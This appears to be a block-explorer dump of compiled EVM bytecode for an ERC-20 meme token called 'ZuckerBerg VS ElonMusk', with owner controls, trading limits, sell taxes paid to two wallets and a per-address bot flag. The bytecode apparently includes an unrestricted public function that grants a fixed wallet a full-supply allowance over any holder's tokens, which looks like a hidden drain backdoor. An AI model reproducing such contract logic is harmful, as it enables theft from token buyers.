aeb576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ae2906128e7565b60405180910390fd5b670de0b6b3a7640000600a81905550670de0b6b3a7640000600b81905550565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600b81526020017f5a75636b2076204d75736b000000000000000000000000000000000000000000815250905090565b5f610b82610b7b610f68565b8484611132565b6001905092915050565b600a5481565b610bc68160055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16670de0b6b3a764000061197f565b50565b610bd1610f68565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c5d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c54906128e7565b60405180910390fd5b5f5b83839050811015610cf8578160065f868685818110610c8157610c80612905565b5b9050602002016020810190610c969190612724565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055508080610cf09061295f565b915050610c5f565b50505050565b600c5481565b60035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b5f600d5f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b610db3610f68565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e3f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e36906128e7565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603610ead576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ea490612a16565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3805f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b5f33905090565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610fdd576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fd490612aa4565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160361104b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161104290612b32565b60405180910390fd5b80600d5f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051611125919061265c565b60405180910390a3505050565b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036111a0576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161119790612bc0565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361120e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161120590612c4e565b60405180910390fd5b5f8111611250576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161124790612cdc565b60405180910390fd5b611258610b0b565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156112c65750611296610b0b565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b156115be57600760029054906101000a900460ff16611355576112e7610b0b565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614611354576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161134b90612d6a565b60405180910390fd5b5b600a5481111561139a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161139190612dd2565b60405180910390fd5b60035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161461144657600b54816113fb84610896565b6114059190612df0565b10611445576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161143c90612e93565b60405180910390fd5b5b5f61145030610896565b9050600a54811061146157600a5490505b600760019054906101000a900460ff16801561147f5750600c548110155b8015611497575060075f9054906101000a900460ff16155b80156114f0575060035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611543575060065f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b8015611596575060065f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b156115bc576115a48161198f565b5f4790505f8111156115ba576115b947611bf8565b5b505b505b5f6001905060065f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff168061165e575060065f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b8061170f575060035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415801561170e575060035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b5b1561171c575f905061189f565b60035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161480156117c5575060025f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b156117dd576012546010819055506013546011819055505b60035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16148015611886575060025f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b1561189e576014546010819055506015546011819055505b5b6118ab84848484611d03565b50505050565b5f8383111582906118f8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118ef919061247a565b60405180910390fd5b505f83856119069190612eb1565b9050809150509392505050565b5f600854821115611959576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161195090612f54565b60405180910390fd5b5f611962611d30565b90506119778184611d5990919063ffffffff16565b915050919050565b61198a838383610f6f565b505050565b600160075f6101000a81548160ff0219169083151502179055505f600267ffffffffffffffff8111156119c5576119c4612f72565b5b6040519080825280602002602001820160405280156119f35781602001602082028036833780820191505090505b50905030815f81518110611a0a57611a09612905565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505060025f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611aae573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190611ad29190612fb3565b81600181518110611ae657611ae5612905565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611b4c3060025f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684610f6f565b60025f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac947835f8430426040518663ffffffff1660e01b8152600401611bae9594939291906130ce565b5f604051808303815f87803b158015611bc5575f80fd5b505af1158015611bd7573d5f803e3d5ffd5b50505050505f60075f6101000a81548160ff02191690831515021790555050565b5f600382611c069190613153565b905060045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc8290811502906040515f60405180830381858888f19350505050158015611c6c573d5f803e3d5ffd5b50600482611c7a9190613153565b81611c859190612eb1565b90505f8290508181611c979190612eb1565b905060055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc8290811502906040515f60405180830381858888f19350505050158015611cfd573d5f803e3d5ffd5b50505050565b80611d1157611d10611da2565b5b611d1c848484611ddb565b80611d2a57611d29611f9b565b5b50505050565b5f805f611d3b611faf565b91509150611d528183611d5990919063ffffffff16565b9250505090565b5f611d9a83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061200b565b905092915050565b5f601054148015611db457505f601154145b611dd9576010546016819055506011546017819055505f6010819055505f6011819055505b565b5f805f805f80611dea8761206c565b955095509550955095509550611e4686600f5f8c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546120cc90919063ffffffff16565b600f5f8b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550611ed785600f5f8b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461211590919063ffffffff16565b600f5f8a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550611f2181612172565b611f2b8483612229565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051611f88919061265c565b60405180910390a3505050505050505050565b601654601081905550601754601181905550565b5f805f60085490505f670de0b6b3a76400009050611fe0670de0b6b3a7640000600854611d5990919063ffffffff16565b821015611ffe57600854670de0b6b3a7640000935093505050612007565b81819350935050505b9091565b5f8083118290612051576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612048919061247a565b60405180910390fd5b505f838561205f9190613153565b9050809150509392505050565b5f805f805f805f805f6120848a601054601154612263565b9250925092505f612093611d30565b90505f805f6120a48e8787876122f5565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b5f61210d83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506118b1565b905092915050565b5f8082846121239190612df0565b905083811015612168576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161215f906131cd565b60405180910390fd5b8091505092915050565b5f61217b611d30565b90505f612191828461237990919063ffffffff16565b90506121e381600f5f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461211590919063ffffffff16565b600f5f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550505050565b61223e826008546120cc90919063ffffffff16565b6008819055506122598160095461211590919063ffffffff16565b6009819055505050565b5f805f8061228d606461227f888a61237990919063ffffffff16565b611d5990919063ffffffff16565b90505f6122b660646122a8888b61237990919063ffffffff16565b611d5990919063ffffffff16565b90505f6122de826122d0858c6120cc90919063ffffffff16565b6120cc90919063ffffffff16565b905080838395509550955050505093509350939050565b5f805f8061230c858961237990919063ffffffff16565b90505f612322868961237990919063ffffffff16565b90505f612338878961237990919063ffffffff16565b90505f6123608261235285876120cc90919063ffffffff16565b6120cc90919063ffffffff16565b9050838184965096509650505050509450945094915050565b5f808303612389575f90506123ea565b5f828461239691906131eb565b90508284826123a59190613153565b146123e5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016123dc9061329c565b60405180910390fd5b809150505b92915050565b5f81519050919050565b5f82825260208201905092915050565b5f5b8381101561242757808201518184015260208101905061240c565b5f8484015250505050565b5f601f19601f8301169050919050565b5f61244c826123f0565b61245681856123fa565b935061246681856020860161240a565b61246f81612432565b840191505092915050565b5f6020820190508181035f8301526124928184612442565b905092915050565b5f80fd5b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f6124cb826124a2565b9050919050565b6124db816124c1565b81146124e5575f80fd5b50565b5f813590506124f6816124d2565b92915050565b5f819050919050565b61250e816124fc565b8114612518575f80fd5b50565b5f8135905061252981612505565b92915050565b5f80604083850312156125455761254461249a565b5b5f612552858286016124e8565b92505060206125638582860161251b565b9150509250929050565b5f8115159050919050565b6125818161256d565b82525050565b5f60208201905061259a5f830184612578565b92915050565b5f6125aa826124a2565b9050919050565b6125ba816125a0565b82525050565b5f6020820190506125d35f8301846125b1565b92915050565b5f819050919050565b5f6125fc6125f76125f2846124a2565b6125d9565b6124a2565b9050919050565b5f61260d826125e2565b9050919050565b5f61261e82612603565b9050919050565b61262e81612614565b82525050565b5f6020820190506126475f830184612625565b92915050565b612656816124fc565b82525050565b5f60208201905061266f5f83018461264d565b92915050565b5f805f6060848603121561268c5761268b61249a565b5b5f612699868287016124e8565b93505060206126aa868287016124e8565b92505060406126bb8682870161251b565b9150509250925092565b5f60ff82169050919050565b6126da816126c5565b82525050565b5f6020820190506126f35f8301846126d1565b92915050565b5f6020828403121561270e5761270d61249a565b5b5f61271b8482850161251b565b91505092915050565b5f602082840312156127395761273861249a565b5b5f612746848285016124e8565b91505092915050565b612758816124c1565b82525050565b5f6020820190506127715f83018461274f565b92915050565b5f80fd5b5f80fd5b5f80fd5b5f8083601f84011261279857612797612777565b5b8235905067ffffffffffffffff8111156127b5576127b461277b565b5b6020830191508360208202830111156127d1576127d061277f565b5b9250929050565b6127e18161256d565b81146127eb575f80fd5b50565b5f813590506127fc816127d8565b92915050565b5f805f604084860312156128195761281861249a565b5b5f84013567ffffffffffffffff8111156128365761283561249e565b5b61284286828701612783565b93509350506020612855868287016127ee565b9150509250925092565b5f80604083850312156128755761287461249a565b5b5f612882858286016124e8565b9250506020612893858286016124e8565b9150509250929050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f6128d16020836123fa565b91506128dc8261289d565b602082019050919050565b5f6020820190508181035f8301526128fe816128c5565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f612969826124fc565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff820361299b5761299a612932565b5b600182019050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f20615f8201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b5f612a006026836123fa565b9150612a0b826129a6565b604082019050919050565b5f6020820190508181035f830152612a2d816129f4565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f612a8e6024836123fa565b9150612a9982612a34565b604082019050919050565b5f6020820190508181035f830152612abb81612a82565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f612b1c6022836123fa565b9150612b2782612ac2565b604082019050919050565b5f6020820190508181035f830152612b4981612b10565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f20616464725f8201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b5f612baa6023836123fa565b9150612bb582612b50565b604082019050919050565b5f6020820190508181035f830152612bd781612b9e565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f2061645f8201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b5f612c386025836123fa565b9150612c4382612bde565b604082019050919050565b5f6020820190508181035f830152612c6581612c2c565b9050919050565b7f5472616e7366657220616d6f756e74206d7573742062652067726561746572205f8201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b5f612cc66029836123fa565b9150612cd182612c6c565b604082019050919050565b5f6020820190508181035f830152612cf381612cba565b9050919050565b7f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e64205f8201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c656400602082015250565b5f612d54603f836123fa565b9150612d5f82612cfa565b604082019050919050565b5f6020820190508181035f830152612d8181612d48565b9050919050565b7f544f4b454e3a204d6178205472616e73616374696f6e204c696d6974000000005f82015250565b5f612dbc601c836123fa565b9150612dc782612d88565b602082019050919050565b5f6020820190508181035f830152612de981612db0565b9050919050565b5f612dfa826124fc565b9150612e05836124fc565b9250828201905080821115612e1d57612e1c612932565b5b92915050565b7f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073695f8201527f7a65210000000000000000000000000000000000000000000000000000000000602082015250565b5f612e7d6023836123fa565b9150612e8882612e23565b604082019050919050565b5f6020820190508181035f830152612eaa81612e71565b9050919050565b5f612ebb826124fc565b9150612ec6836124fc565b9250828203905081811115612ede57612edd612932565b5b92915050565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c20725f8201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b5f612f3e602a836123fa565b9150612f4982612ee4565b604082019050919050565b5f6020820190508181035f830152612f6b81612f32565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b5f81519050612fad816124d2565b92915050565b5f60208284031215612fc857612fc761249a565b5b5f612fd584828501612f9f565b91505092915050565b5f819050919050565b5f613001612ffc612ff784612fde565b6125d9565b6124fc565b9050919050565b61301181612fe7565b82525050565b5f81519050919050565b5f82825260208201905092915050565b5f819050602082019050919050565b613049816124c1565b82525050565b5f61305a8383613040565b60208301905092915050565b5f602082019050919050565b5f61307c82613017565b6130868185613021565b935061309183613031565b805f5b838110156130c15781516130a8888261304f565b97506130b383613066565b925050600181019050613094565b5085935050505092915050565b5f60a0820190506130e15f83018861264d565b6130ee6020830187613008565b81810360408301526131008186613072565b905061310f606083018561274f565b61311c608083018461264d565b9695505050505050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f61315d826124fc565b9150613168836124fc565b92508261317857613177613126565b5b828204905092915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f7700000000005f82015250565b5f6131b7601b836123fa565b91506131c282613183565b602082019050919050565b5f6020820190508181035f8301526131e4816131ab565b9050919050565b5f6131f5826124fc565b9150613200836124fc565b925082820261320e816124fc565b9150828204841483151761322557613224612932565b5b5092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f5f8201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b5f6132866021836123fa565b91506132918261322c565b604082019050919050565b5f6020820190508181035f8301526132b38161327a565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212206a35049c76993c8720f339638281274da9a15054578a2710a6e6d7973d6f600a64736f6c63430008150033

Deployed Bytecode

0x60806040526004361061014e575f3560e01c8063724fdeac116100b5578063be3f5ba71161006e578063be3f5ba714610469578063c492f04614610491578063c7fda18a146104b9578063c816841b146104e3578063dd62ed3e1461050d578063f2fde38b1461054957610155565b8063724fdeac1461036f578063751039fc146103995780638da5cb5b146103af57806395d89b41146103d9578063a9059cbb14610403578063b4a07ca41461043f57610155565b806327b7744f1161010757806327b7744f14610279578063313ce567146102a357806333c6c4cd146102cd5780635066b034146102f557806370a082311461031d578063715018a61461035957610155565b806306fdde0314610159578063095ea7b314610183578063105407ee146101bf5780631694505e146101e957806318160ddd1461021357806323b872dd1461023d57610155565b3661015557005b5f80fd5b348015610164575f80fd5b5061016d610571565b60405161017a919061247a565b60405180910390f35b34801561018e575f80fd5b506101a960048036038101906101a4919061252f565b6105ae565b6040516101b69190612587565b60405180910390f35b3480156101ca575f80fd5b506101d36105cb565b6040516101e091906125c0565b60405180910390f35b3480156101f4575f80fd5b506101fd6105f0565b60405161020a9190612634565b60405180910390f35b34801561021e575f80fd5b50610227610615565b604051610234919061265c565b60405180910390f35b348015610248575f80fd5b50610263600480360381019061025e9190612675565b610624565b6040516102709190612587565b60405180910390f35b348015610284575f80fd5b5061028d6106f8565b60405161029a919061265c565b60405180910390f35b3480156102ae575f80fd5b506102b76106fe565b6040516102c491906126e0565b60405180910390f35b3480156102d8575f80fd5b506102f360048036038101906102ee91906126f9565b610706565b005b348015610300575f80fd5b5061031b60048036038101906103169190612724565b6107a4565b005b348015610328575f80fd5b50610343600480360381019061033e9190612724565b610896565b604051610350919061265c565b60405180910390f35b348015610364575f80fd5b5061036d6108e4565b005b34801561037a575f80fd5b50610383610a32565b60405161039091906125c0565b60405180910390f35b3480156103a4575f80fd5b506103ad610a57565b005b3480156103ba575f80fd5b506103c3610b0b565b6040516103d0919061275e565b60405180910390f35b3480156103e4575f80fd5b506103ed610b32565b6040516103fa919061247a565b60405180910390f35b34801561040e575f80fd5b506104296004803603810190610424919061252f565b610b6f565b6040516104369190612587565b60405180910390f35b34801561044a575f80fd5b50610453610b8c565b604051610460919061265c565b60405180910390f35b348015610474575f80fd5b5061048f600480360381019061048a9190612724565b610b92565b005b34801561049c575f80fd5b506104b760048036038101906104b29190612802565b610bc9565b005b3480156104c4575f80fd5b506104cd610cfe565b6040516104da919061265c565b60405180910390f35b3480156104ee575f80fd5b506104f7610d04565b604051610504919061275e565b60405180910390f35b348015610518575f80fd5b50610533600480360381019061052e919061285f565b610d29565b604051610540919061265c565b60405180910390f35b348015610554575f80fd5b5061056f600480360381019061056a9190612724565b610dab565b005b60606040518060400160405280601681526020017f5a75636b65724265726720565320456c6f6e4d75736b00000000000000000000815250905090565b5f6105c16105ba610f68565b8484610f6f565b6001905092915050565b60045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60025f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b5f670de0b6b3a7640000905090565b5f610630848484611132565b6106ed8461063c610f68565b6106e8856040518060600160405280602881526020016132bb60289139600d5f8b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f61069f610f68565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546118b19092919063ffffffff16565b610f6f565b600190509392505050565b600b5481565b5f6009905090565b61070e610f68565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461079a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610791906128e7565b60405180910390fd5b80600c8190555050565b6107ac610f68565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610838576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161082f906128e7565b60405180910390fd5b6001600760026101000a81548160ff0219169083151502179055508060035f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b5f6108dd600f5f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611913565b9050919050565b6108ec610f68565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610978576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161096f906128e7565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35f805f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b610a5f610f68565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610aeb576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ae2906128e7565b60405180910390fd5b670de0b6b3a7640000600a81905550670de0b6b3a7640000600b81905550565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600b81526020017f5a75636b2076204d75736b000000000000000000000000000000000000000000815250905090565b5f610b82610b7b610f68565b8484611132565b6001905092915050565b600a5481565b610bc68160055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16670de0b6b3a764000061197f565b50565b610bd1610f68565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c5d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c54906128e7565b60405180910390fd5b5f5b83839050811015610cf8578160065f868685818110610c8157610c80612905565b5b9050602002016020810190610c969190612724565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055508080610cf09061295f565b915050610c5f565b50505050565b600c5481565b60035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b5f600d5f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b610db3610f68565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e3f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e36906128e7565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603610ead576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ea490612a16565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3805f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b5f33905090565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610fdd576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fd490612aa4565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160361104b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161104290612b32565b60405180910390fd5b80600d5f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051611125919061265c565b60405180910390a3505050565b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036111a0576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161119790612bc0565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361120e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161120590612c4e565b60405180910390fd5b5f8111611250576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161124790612cdc565b60405180910390fd5b611258610b0b565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156112c65750611296610b0b565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b156115be57600760029054906101000a900460ff16611355576112e7610b0b565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614611354576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161134b90612d6a565b60405180910390fd5b5b600a5481111561139a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161139190612dd2565b60405180910390fd5b60035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161461144657600b54816113fb84610896565b6114059190612df0565b10611445576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161143c90612e93565b60405180910390fd5b5b5f61145030610896565b9050600a54811061146157600a5490505b600760019054906101000a900460ff16801561147f5750600c548110155b8015611497575060075f9054906101000a900460ff16155b80156114f0575060035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611543575060065f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b8015611596575060065f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b156115bc576115a48161198f565b5f4790505f8111156115ba576115b947611bf8565b5b505b505b5f6001905060065f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff168061165e575060065f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460f